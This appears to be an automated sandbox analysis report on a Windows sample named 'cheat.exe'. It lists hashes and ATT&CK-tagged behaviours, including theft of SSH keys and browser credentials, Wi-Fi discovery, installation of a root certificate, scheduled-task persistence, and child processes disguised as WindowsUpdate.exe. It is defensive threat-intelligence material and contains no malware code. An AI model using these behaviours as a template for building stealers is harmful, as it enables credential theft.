14130a334651eaf78dd82dec2fe3e8afcc691d8135802bfd556f4d6ae44f9180

Analysis

user interaction
yes
max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/10/2026, 18:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cheat.exe
Size 7.6MB
Sample261022-wwfvvaes7x
SHA256 14130a334651eaf78dd82dec2fe3e8afcc691d8135802bfd556f4d6ae44f9180
MD5 72a34297ff309c5e3b1c160c48835a0a
SHA1 ac43a9bd66c20da0203ae5aba1205f8580287970
SHA512 de811277449c39a389c720976db61f666a0f304ff730cb2060fe0179fd6b04fb4318693c153f54f4cab1bb3bdf6b4c96489aecaa5474815278a8b1d92056ea1d
SSDEEP 196608:jPawRF6vmUPD+cJlS369XmSP2aDX12bf:jyw0PZS36VPHWf
TLSH
T17986E007FCA119F6C0AEA371896399967B22BC481F3123E72A50B7782F72BD45C79750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Executes dropped EXE 13 IoCs

pid	Process
2784	cheat.exe
3152	NetworkServiceAssistant.exe
2032	NetworkServiceAssistant.exe
1832	NetworkServiceAssistant.exe
5928	NetworkServiceAssistant.exe
1440	BootStrap.exe
5076	WindowsUpdate.exe
596	WindowsUpdate.exe
2964	WindowsUpdate.exe
2780	WindowsUpdate.exe
3328	WindowsUpdate.exe
3176	WindowsUpdate.exe
4524	WindowsUpdate.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_552_1085054550\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_111_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_6020_309942805\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_111_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping552_248844803\_locales\pt_BR\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2380	cmd.exe
3436	cmd.exe
3464	cmd.exe
1376	cmd.exe
3636	cmd.exe
2588	cmd.exe
2640	cmd.exe
5596	cmd.exe
2888	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c614000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	NetworkServiceAssistant.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e6b000000010000002000000096bcec06264976f37460779acf28c5a7cfe8a3c0aae11a8ffcee05c0bddf08c620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	NetworkServiceAssistant.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 14 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NetworkServiceAssistant.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	BootStrap.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NetworkServiceAssistant.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NetworkServiceAssistant.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	NetworkServiceAssistant.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WindowsUpdate.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NetworkServiceAssistant.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2640	cmd.exe
400	netsh.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1400	msedge.exe
2024	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	NetworkServiceAssistant.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	NetworkServiceAssistant.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
244	ipconfig.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-461973139-3212354679-1508698038-1000\{55699086-BABB-4879-8577-5F318B1BC2FE}	msedge.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	NetworkServiceAssistant.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4300	schtasks.exe
2136	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
3152	NetworkServiceAssistant.exe
3152	NetworkServiceAssistant.exe
3152	NetworkServiceAssistant.exe
3152	NetworkServiceAssistant.exe
3152	NetworkServiceAssistant.exe
3152	NetworkServiceAssistant.exe
3152	NetworkServiceAssistant.exe
3152	NetworkServiceAssistant.exe
3152	NetworkServiceAssistant.exe
1440	BootStrap.exe
1440	BootStrap.exe
1440	BootStrap.exe
1440	BootStrap.exe
1440	BootStrap.exe
1440	BootStrap.exe
3444	powershell.exe
3444	powershell.exe
1440	BootStrap.exe
1440	BootStrap.exe
1440	BootStrap.exe
1440	BootStrap.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
6020	msedge.exe
6020	msedge.exe
6020	msedge.exe
6020	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	3444	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
6020	msedge.exe
6020	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5184	ShellHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 2784	1028	cheat.exe	89
PID 2784 wrote to memory of 3152	2784	cheat.exe	90
PID 3152 wrote to memory of 2032	3152	NetworkServiceAssistant.exe	91
PID 3152 wrote to memory of 1832	3152	NetworkServiceAssistant.exe	92
PID 3152 wrote to memory of 5928	3152	NetworkServiceAssistant.exe	93
PID 2032 wrote to memory of 3636	2032	NetworkServiceAssistant.exe	94
PID 3152 wrote to memory of 4840	3152	NetworkServiceAssistant.exe	96
PID 3152 wrote to memory of 2380	3152	NetworkServiceAssistant.exe	98
PID 3152 wrote to memory of 2588	3152	NetworkServiceAssistant.exe	100
PID 3152 wrote to memory of 2640	3152	NetworkServiceAssistant.exe	101
PID 3636 wrote to memory of 4384	3636	cmd.exe	103
PID 2380 wrote to memory of 404	2380	cmd.exe	105
PID 2640 wrote to memory of 400	2640	cmd.exe	106
PID 2588 wrote to memory of 244	2588	cmd.exe	107
PID 2032 wrote to memory of 3436	2032	NetworkServiceAssistant.exe	108
PID 3436 wrote to memory of 1512	3436	cmd.exe	110
PID 2032 wrote to memory of 3464	2032	NetworkServiceAssistant.exe	111
PID 3152 wrote to memory of 5596	3152	NetworkServiceAssistant.exe	113
PID 5596 wrote to memory of 5700	5596	cmd.exe	115
PID 3464 wrote to memory of 4300	3464	cmd.exe	116
PID 2032 wrote to memory of 2888	2032	NetworkServiceAssistant.exe	117
PID 2888 wrote to memory of 2136	2888	cmd.exe	119
PID 1440 wrote to memory of 5076	1440	BootStrap.exe	123
PID 1832 wrote to memory of 596	1832	NetworkServiceAssistant.exe	124
PID 5928 wrote to memory of 2964	5928	NetworkServiceAssistant.exe	125
PID 2964 wrote to memory of 2780	2964	WindowsUpdate.exe	126
PID 2964 wrote to memory of 3328	2964	WindowsUpdate.exe	127
PID 2964 wrote to memory of 3176	2964	WindowsUpdate.exe	128
PID 2964 wrote to memory of 4524	2964	WindowsUpdate.exe	130
PID 2964 wrote to memory of 1376	2964	WindowsUpdate.exe	131
PID 1376 wrote to memory of 3444	1376	cmd.exe	133
PID 2964 wrote to memory of 4596	2964	WindowsUpdate.exe	146
PID 4596 wrote to memory of 6020	4596	rundll32.exe	147
PID 6020 wrote to memory of 776	6020	msedge.exe	148
PID 6020 wrote to memory of 1544	6020	msedge.exe	149
PID 6020 wrote to memory of 1400	6020	msedge.exe	150
PID 6020 wrote to memory of 1544	6020	msedge.exe	149
PID 6020 wrote to memory of 1544	6020	msedge.exe	149
PID 6020 wrote to memory of 2336	6020	msedge.exe	151
PID 6020 wrote to memory of 2336	6020	msedge.exe	151
PID 6020 wrote to memory of 4576	6020	msedge.exe	153
PID 6020 wrote to memory of 4576	6020	msedge.exe	153
PID 6020 wrote to memory of 948	6020	msedge.exe	154
PID 6020 wrote to memory of 4576	6020	msedge.exe	153
PID 6020 wrote to memory of 948	6020	msedge.exe	154
PID 6020 wrote to memory of 948	6020	msedge.exe	154
PID 6020 wrote to memory of 2800	6020	msedge.exe	155
PID 6020 wrote to memory of 2800	6020	msedge.exe	155
PID 6020 wrote to memory of 2800	6020	msedge.exe	155
PID 6020 wrote to memory of 3188	6020	msedge.exe	156
PID 6020 wrote to memory of 3188	6020	msedge.exe	156
PID 6020 wrote to memory of 3188	6020	msedge.exe	156
PID 6020 wrote to memory of 5724	6020	msedge.exe	157
PID 6020 wrote to memory of 5724	6020	msedge.exe	157
PID 6020 wrote to memory of 3364	6020	msedge.exe	159
PID 6020 wrote to memory of 3364	6020	msedge.exe	159
PID 6020 wrote to memory of 2248	6020	msedge.exe	160
PID 6020 wrote to memory of 2248	6020	msedge.exe	160
PID 6020 wrote to memory of 552	6020	msedge.exe	161
PID 552 wrote to memory of 2272	552	msedge.exe	162
